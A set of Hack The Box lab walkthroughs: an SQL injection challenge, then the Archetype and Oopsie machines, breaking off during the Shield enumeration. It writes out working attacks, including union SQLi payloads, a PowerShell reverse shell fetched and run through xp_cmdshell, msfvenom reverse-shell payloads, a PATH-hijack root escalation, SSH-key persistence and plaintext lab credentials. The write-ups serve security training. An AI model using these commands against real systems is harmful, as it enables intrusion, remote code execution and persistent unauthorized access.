At this point, I ran the command `python jwt_tool.py [[JWT]] -I -pc username -pv [[SQLi Payload]] -X k -pk pub.key` over and over again to generate JWTs with different potential payloads and see what worked. [PortSwigger has a great guide](https://portswigger.net/web-security/sql-injection/union-attacks) on union based SQLi, which I highly recommend reading if you haven't done this type of attack before.
We first determine the number of columns with `' ORDER BY 3--`, which returns `user ' ORDER BY 3-- doesn't exist in our database.`. Next we try `' ORDER BY 4--`, which produces `Error: SQLITE_ERROR: 1st ORDER BY term out of range - should be between 1 and 3`. So, we have 3 columns.
The next step is to determine the data types of those colums so we can find one containing a string: `' UNION SELECT 'a',NULL,NULL--`. With this query the page loads normally but nothing is displayed after "Welcome." Trying the second column with `' UNION SELECT NULL,'a',NULL--` causes the page to load normally and an "a" is displayed after "Welcome." Therefore, we want to select things into the second column.
Next, we look at the "SQLite Injection" page from [swisskyrepo/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#string-based---extract-database-structure) and try to use the `' UNION SELECT sql FROM sqlite_schema--` syntax to extract the database structure. However, this just outputs `Error: SQLITE_ERROR: no such table: sqlite_schema`. A quick online search finds that `sqlite_schema` was renamed to `sqlite_master`. Also, we need to use the correct number of columns and make use of `group_concat`, which returns a string with concatenated non-NULL value from a group (in this case `sql`). So, our injected payload is `' UNION SELECT NULL,(SELECT group_concat(sql) FROM sqlite_master),NULL--`, which produces the following output:
```
CREATE TABLE "flag_storage" ( "id" INTEGER PRIMARY KEY AUTOINCREMENT, "top_secret_flaag" TEXT ),CREATE TABLE sqlite_sequence(name,seq),CREATE TABLE "users" ( "id" INTEGER, "username" VARCHAR(255) NOT NULL, "password" VARCHAR(255) NOT NULL, PRIMARY KEY("id") )
```
We see that there is a table called `flag_storage` with a column called `top_secret_flaag`. Let's update our last injected payload to select this flag from the `flag_storage` table: `' UNION SELECT NULL,(SELECT top_secret_flaag from flag_storage),NULL--`. Running this query displays the flag.
`HTB{d0n7_3xp053_y0ur_publ1ck3y}`
# Archetype
HTB - Archetype
1. Scan with `nmap`:
```
kali@kali:~$ nmap -T4 -A -p- 10.10.10.27
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-03 17:58 EDT
Nmap scan report for 10.10.10.27
Host is up (0.042s latency).
Not shown: 65480 closed ports, 43 filtered ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2020-05-03T17:16:49
|_Not valid after: 2050-05-03T17:16:49
|_ssl-date: 2020-05-03T22:15:41+00:00; +14m18s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h38m18s, deviation: 3h07m51s, median: 14m17s
| ms-sql-info:
| 10.10.10.27:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-05-03T15:15:32-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-05-03T22:15:33
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 187.16 seconds
```
2. Nessus scan for fun Start with `sudo /etc/init.d/nessusd start` and go to `https://kali:8834`
3. Samba is open so lets see is anonymous login enabled and list the shares
```
smbclient -L \\\\10.10.10.27\\
anonymous (or use -N in above command for anonymous login)
```
Result: `backups` directory found
See inside `backups`: `smbclient -N \\\\10.10.10.27\\backups`. There is a dtsConfig file, which is a config file used with SSIS:
```
get prod.dtsConfig
exit
cat pro.dtsConfig
```
```
ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;
```
Result: Contains credientials for user `ARCHETYPE\sql_svc` with password `M3g4c0rp123`.
4. Target is running `Microsoft SQL Server 2017 14.00.1000.00` per the `nmap` scan. Searching for exploit reveals [Rapid 7](https://www.rapid7.com/db/modules/exploit/windows/mssql/mssql_payload) and [HackTricks Book](https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server)
* HackTricks had command to gather info about the service: `nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=ARCHETYPE\sql_svc,mssql.password=M3g4c0rp123,mssql.instance-name=ARCHETYPE -sV -p 1433 10.10.10.27` which was not helpful since it is similar to the `-A` flag.
* Attempt Metasploit exploit:
```
sudo msfconsole
search mssql
use exploit/windows/mssql/mssql_payload
options
set username sql_svc
set password M3g4c0rp123
set rhosts 10.10.10.27
set USE_WINDOWS_AUTHENT true
set payload windows/meterpreter/reverse_tcp
options
run
```
Possibly could use `set payload windows/shell_reverse_tcp` Failed.
* Manual Exploit
* Let's try connecting to the SQL Server using Impacket's mssqlclient.py: `python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -win`dows-auth\`
* We can use the `IS_SRVROLEMEMBER` function to reveal whether the current SQL user has sysadmin (highest level) privileges on the SQL Server. This is successful, and we do indeed have sysadmin privileges. This will allow us to enable xp\_cmdshell and gain RCE on the host. Let's attempt this, by inputting the commands below.
```
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
```
* Save following as `shell.ps1`: `kali@kali:~$ cat shell.ps1 $client = New-Object System.Net.Sockets.TCPClient("10.10.15.117",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()`
* Next, stand up a mini webserver in order to host the file. We can use Python: `python3 -m http.server 80`
* After standing up a netcat listener on port 443: `nc -lvnp 443`
* We can now issue the command to download and execute the reverse shell through xp\_cmdshell: `xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.15.117/shell.ps1\");"`
* A shell is received as sql\_svc, and we can get the user.txt on their desktop.
5. Privilege Escalation
* As this is a normal user account as well as a service account, it is worth checking for frequently access files or executed commands. We can use the command below to access the PowerShell history file: `type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt` Result: `net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!`
* This reveals that the backups drive has been mapped using the local administrator credentials. We can use Impacket's psexec.py to gain a privileged shell.
```
kali@kali:~/Downloads/impacket-0.9.21/examples$ python3 psexec.py administrator@10.10.10.27
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Password: MEGACORP_4dm1n!!
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file tHaoJdVi.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service JESk on 10.10.10.27.....
[*] Starting service JESk.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
```
* Get flag
```
cd C:\Users\Administrator\Desktop
type root.txt
b91ccec3305e98240082d4474b848528
```
# Oopsie
HTB - Oopsie
1. `nmap -T4 -p- -A 10.10.10.28`
```
kali@kali:~$ nmap -T4 -p- -A 10.10.10.28
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-03 23:33 EDT
Warning: 10.10.10.28 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.28
Host is up (0.099s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Welcome
2736/tcp filtered radwiz-nms-srv
4453/tcp filtered nssalertmgr
22626/tcp filtered unknown
46331/tcp filtered unknown
58456/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 899.69 seconds
```
2. Nessus scan for fun Start with `sudo /etc/init.d/nessusd start` and go to `https://kali:8834`
3. Enumerate HTTP
* Ran `nikto -h http://10.10.10.28`
```
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.28
+ Target Hostname: 10.10.10.28
+ Target Port: 80
+ Start Time: 2020-05-03 23:20:35 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-10944: : CGI Directory found
+ OSVDB-10944: /cdn-cgi/login/: CGI Directory found
+ OSVDB-3233: /icons/README: Apache default file found.
+ 10294 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2020-05-03 23:49:53 (GMT-4) (1758 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```
* **Potential Exploit:** CVE-2019-0211:
*
*
*
* Ran `dirbuster` with `http://10.10.10.28:80`, wordlist `/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`
4. Dirbuster found login page at `http://10.10.10.28/cdn-cgi/login/admin.php`. 
```
DirBuster 1.0-RC1 - Report
http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
Report produced on Sun May 03 23:35:19 EDT 2020
--------------------------------
http://10.10.10.28:80
--------------------------------
Directories found during testing:
Dirs found with a 200 response:
/
/cdn-cgi/login/
Dirs found with a 403 response:
/images/
/icons/
/themes/
/uploads/
/cdn-cgi/
/js/
/css/
/icons/small/
/fonts/
--------------------------------
Files found during testing:
Files found with a 200 responce:
/index.php
/js/min.js
/cdn-cgi/login/script.js
/js/index.js
/cdn-cgi/login/index.php
/js/prefixfree.min.js
/cdn-cgi/login/db.php
Files found with a 302 responce:
/cdn-cgi/login/admin.php
--------------------------------
```
5. Credentials of `admin:MEGACORP_4dm1n!!` successfully signin.
6. Analysis with Burp Suite:
* When going to accounts page:
```
GET /cdn-cgi/login/admin.php?content=accounts&id=1 HTTP/1.1
Host: 10.10.10.28
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.28/cdn-cgi/login/admin.php?content=branding&brandId=10
Connection: close
Cookie: user=34322; role=admin
Upgrade-Insecure-Requests: 1
```
Result: It might be possible to brute force the id values, and display the user value for another user, such as the super admin account. We can do this using Burp's Intruder module. Click CTRL + i to sent the request to Intruder.
* We press Clear to remove the pre-populated payload positions, select the Id value (1), and click Add. Next, click on the Payloads tab.
* We can generate a sequential list of 1-100 using a simple bash loop: ``for i in `seq 1 100`; do echo $i; done``. Paste the output into the Payloads box.
* ID 30 shows that `super admin` is `86575` 
* Go to `Uploads` page and change `Cookie: user=34322; role=admin` to `Cookie: user=86575; role=admin`
7. Use [msfvenom cheatsheet 1](https://netsec.ws/?p=331) to create payload:
```
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.117 LPORT=24785 -f raw > shell.php
cat shell.php | xclip -selection clipboard && echo ' shell.php && xclip -selection clipboard -o >> shell.php
```
Uploads directory found before by `dirbuster`: `/uploads/`. Upload the payload using the web portal. 
Open up port to listen on:
```
sudo msfconsole
use exploit/multi/handler
options
set payload php/meterpreter_reverse_tcp
options
set LHOST 10.10.15.117
set LPORT 24785
run
```
Execute the php file: `10.10.10.28/uploads/shell.php` Result: Meterpreter granted
```
getuid # Server username: www-data
cd /home/robert
cat user.txt
```
**User Flag:** `f2c74ee8db7983851ab2a96a44eb7981`
8. Lateral Movement The website records are probably retrieved from a database, so it's a good idea to check for database connection information. Indeed, `db.php` does contain credentials, and we can `su robert` to move laterally.
```
cd /var/www/html/cdn-cgi/login
ls -la
cat db.php
```
Result:
```
```
**Robert Password:** `M3g4C0rpUs3r!`
Switch users:
```
meterpreter > shell
Process 5906 created.
Channel 15 created.
SHELL=/bin/bash script -q /dev/null
www-data@oopsie:/var/www/html/cdn-cgi/login$ su robert
su robert
Password: M3g4C0rpUs3r!
```
9. Privilege Escalation
* Attempt automatic Privilege Escalation
```
background
use post/multi/recon/local_exploit_suggester
options
set SESSION 1
run
```
Result: No suggestions found
```
[*] 10.10.10.28 - Collecting local exploits for php/linux...
[-] 10.10.10.28 - No suggestions available.
[*] Post module execution completed
```
* Run `id` as `robert`: `uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)` reveals he is part of `bugtracker`
* We can enumerate the filesystem to see if this group has any special access: `find / -type f -group bugtracker 2>/dev/null`
```
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 10:14 /usr/bin/bugtracker
```
* Run `/usr/bin/bugtracker`
```
robert@oopsie:/var/www/html/cdn-cgi/login$ /usr/bin/bugtracker
/usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1
1
---------------
Binary package hint: ev-engine-lib
Version: 3.3.3-1
Reproduce:
When loading library in firmware it seems to be crashed
What you expected to happen:
Synchronized browsing to be enabled since it is enabled for that site.
What happened instead:
Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.
robert@oopsie:/var/www/html/cdn-cgi/login$ /usr/bin/bugtracker
/usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 2
2
---------------
If you connect to a site filezilla will remember the host, the username and the password (optional). The same is true for the site manager. But if a port other than 21 is used the port is saved in .config/filezilla - but the information from this file isn't downloaded again afterwards.
ProblemType: Bug
DistroRelease: Ubuntu 16.10
Package: filezilla 3.15.0.2-1ubuntu1
Uname: Linux 4.5.0-040500rc7-generic x86_64
ApportVersion: 2.20.1-0ubuntu3
Architecture: amd64
CurrentDesktop: Unity
Date: Sat May 7 16:58:57 2016
EcryptfsInUse: Yes
SourcePackage: filezilla
UpgradeStatus: No upgrade log present (probably fresh install)
robert@oopsie:/var/www/html/cdn-cgi/login$ /usr/bin/bugtracker
/usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 3
3
---------------
Hello,
When transferring files from an FTP server (TLS or not) to an SMB share, Filezilla keeps freezing which leads down to very much slower transfers ...
Looking at resources usage, the gvfs-smb process works hard (60% cpu usage on my I7)
I don't have such an issue or any slowdown when using other apps over the same SMB shares.
ProblemType: Bug
DistroRelease: Ubuntu 12.04
Package: filezilla 3.5.3-1ubuntu2
ProcVersionSignature: Ubuntu 3.2.0-25.40-generic 3.2.18
Uname: Linux 3.2.0-25-generic x86_64
NonfreeKernelModules: nvidia
ApportVersion: 2.0.1-0ubuntu8
Architecture: amd64
Date: Sun Jul 1 19:06:31 2012
EcryptfsInUse: Yes
InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Alpha amd64 (20120316)
ProcEnviron:
TERM=xterm
PATH=(custom, user)
LANG=fr_FR.UTF-8
SHELL=/bin/bash
SourcePackage: filezilla
UpgradeStatus: No upgrade log present (probably fresh install)
---
ApportVersion: 2.13.3-0ubuntu1
Architecture: amd64
DistroRelease: Ubuntu 14.04
EcryptfsInUse: Yes
InstallationDate: Installed on 2013-02-23 (395 days ago)
InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Release amd64 (20121017.5)
Package: gvfs
PackageArchitecture: amd64
ProcEnviron:
LANGUAGE=fr_FR
TERM=xterm
PATH=(custom, no user)
LANG=fr_FR.UTF-8
SHELL=/bin/bash
ProcVersionSignature: Ubuntu 3.13.0-19.40-generic 3.13.6
Tags: trusty
Uname: Linux 3.13.0-19-generic x86_64
UpgradeStatus: Upgraded to trusty on 2014-03-25 (0 days ago)
UserGroups:
robert@oopsie:/var/www/html/cdn-cgi/login$ /usr/bin/bugtracker
/usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 4
4
---------------
cat: /root/reports/4: No such file or directory
```
* Try `strings /usr/bin/bugtracker`
```
------------------
: EV Bug Tracker :
------------------
Provide Bug ID:
---------------
cat /root/reports/
;*3$"
GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
```
Results: We see that it calls the cat binary using this relative path instead of the absolute path. By creating a malicious cat, and modifying the path to include the current working directory, we should be able to abuse this misconfiguration, and escalate our privileges to root.
* Let's add the current working directory to PATH, create the malicious binary and make it executable.
```
export PATH=/tmp:$PATH
cd /tmp/
echo '/bin/bash' > cat
chmod +x cat
```
The relative `cat` command is now `/bin/bash`
* Run `/usr/bin/bugtracker` and gain root.
* `/bin/cat root.txt`
* **Root Flag:** `af13b0bee69f8a877c3faf667f7beacf`
10. Post Exploitation
1. Create exploit to run as root; `msfvenom -p cmd/unix/reverse_bash LHOST=10.10.15.117 LPORT=34847 -f raw > shell.sh`
2. Host the new exploit for downloading: `sudo python3 -m http.server 80`
3. Download exploit onto target: `wget 10.10.15.117/shell.sh`
4. Open up port to listen on:
```
use exploit/multi/handler
set payload cmd/unix/reverse_bash
options
set LHOST 10.10.15.117
set LPORT 34847
run
```
5. Run `./shell.sh` as root
6. Upgrade to meterpreter
```
use post/multi/manage/shell_to_meterpreter
set session 1
run
```
7. Allow access in at any time with SSH
```
use post/linux/manage/sshkey_persistence
set session 2
run
```
And then in normal attacker prompt:
```
sudo chmod 400 /root/.msf4/loot/20200504015710_default_10.10.10.28_id_rsa_480866.txt
sudo ssh -o "IdentitiesOnly=yes" -i /root/.msf4/loot/20200504015710_default_10.10.10.28_id_rsa_480866.txt root@10.10.10.28
```
8. Find loot
```
root@oopsie:~/.config/filezilla# cat /root/.config/filezilla/filezilla.xml
10.10.10.44
21
0
0
ftpuser
mc@F1l3ZilL4
1
0
MODE_DEFAULT
0
Auto
0
```
# Shield
HTB - Shield
1. `nmap -T4 -A -p- 10.10.10.29`
```
kali@kali:~$ nmap -T4 -A -p- 10.10.10.29
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-04 17:10 EDT
Nmap scan report for 10.10.10.29
Host is up (0.47s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
3306/tcp open mysql MySQL (unauthorized)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 643.75 seconds
```
2. Nessus scan for fun Start with `sudo /etc/init.d/nessusd start` and go to `https://kali:8834`
3. Enumerate HTTP
* Ran `sudo nikto -h http://10.10.10.29`
```
kali@kali:~$ sudo nikto -h http://10.10.10.29
[sudo] password for kali:
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.29
+ Target Hostname: 10.10.10.29
+ Target Port: 80
+ Start Time: 2020-05-04 17:16:16 (GMT-4)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/10.0
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ 7863 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2020-05-04 18:12:15 (GMT-4) (3359 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
kali@kali:~$ sudo nikto -h http://10.10.10.29/wordpress
[sudo] password for kali:
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.29
+ Target Hostname: 10.10.10.29
+ Target Port: 80
+ Start Time: 2020-05-04 18:41:32 (GMT-4)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: PHP/7.1.29
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'link' found, with multiple values: (https://wordpress.org/?v=5.2.1
| - http://10.10.10.29/wordpress/index.php/comments/feed/, https://wordpress.org/?v=5.2.1
|
| [!] 18 vulnerabilities identified:
|
| [!] Title: WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation
| Fixed in: 5.2.3
| References:
| - https://wpvulndb.com/vulnerabilities/9867
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16222
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
| - https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68
| - https://hackerone.com/reports/339483
|
| [!] Title: WordPress 5.0-5.2.2 - Authenticated Stored XSS in Shortcode Previews
| Fixed in: 5.2.3
| References:
| - https://wpvulndb.com/vulnerabilities/9864
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16219
| - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
| - https://fortiguard.com/zeroday/FG-VD-18-165
| - https://www.fortinet.com/blog/threat-research/wordpress-core-stored-xss-vulnerability.html
|
| [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
| Fixed in: 5.2.4
| References:
| - https://wpvulndb.com/vulnerabilities/9908
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
| Fixed in: 5.2.4
| References:
| - https://wpvulndb.com/vulnerabilities/9909
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
| - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
| - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
|
| [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags
| Fixed in: 5.2.4
| References:
| - https://wpvulndb.com/vulnerabilities/9910
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning
| Fixed in: 5.2.4
| References:
| - https://wpvulndb.com/vulnerabilities/9911
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de
| - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation
| Fixed in: 5.2.4
| References:
| - https://wpvulndb.com/vulnerabilities/9912
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2
| - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation
| Fixed in: 5.2.4
| References:
| - https://wpvulndb.com/vulnerabilities/9913
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675
| - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
| - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0
| - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
|
| [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API
| Fixed in: 5.2.5
| References:
| - https://wpvulndb.com/vulnerabilities/9973
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw
|
| [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links
| Fixed in: 5.2.5
| References:
| - https://wpvulndb.com/vulnerabilities/9975
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16773
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://hackerone.com/reports/509930
| - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7
|
| [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content
| Fixed in: 5.2.5
| References:
| - https://wpvulndb.com/vulnerabilities/9976
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v
|
| [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass
| Fixed in: 5.2.5
| References:
| - https://wpvulndb.com/vulnerabilities/10004
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041
| - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53
|
| [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated
| Fixed in: 5.2.6
| References:
| - https://wpvulndb.com/vulnerabilities/10201
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027
| - https://wordpress.org/news/2020/04/wordpress-5-4-1/
| - https://core.trac.wordpress.org/changeset/47634/
| - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw
|
| [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts
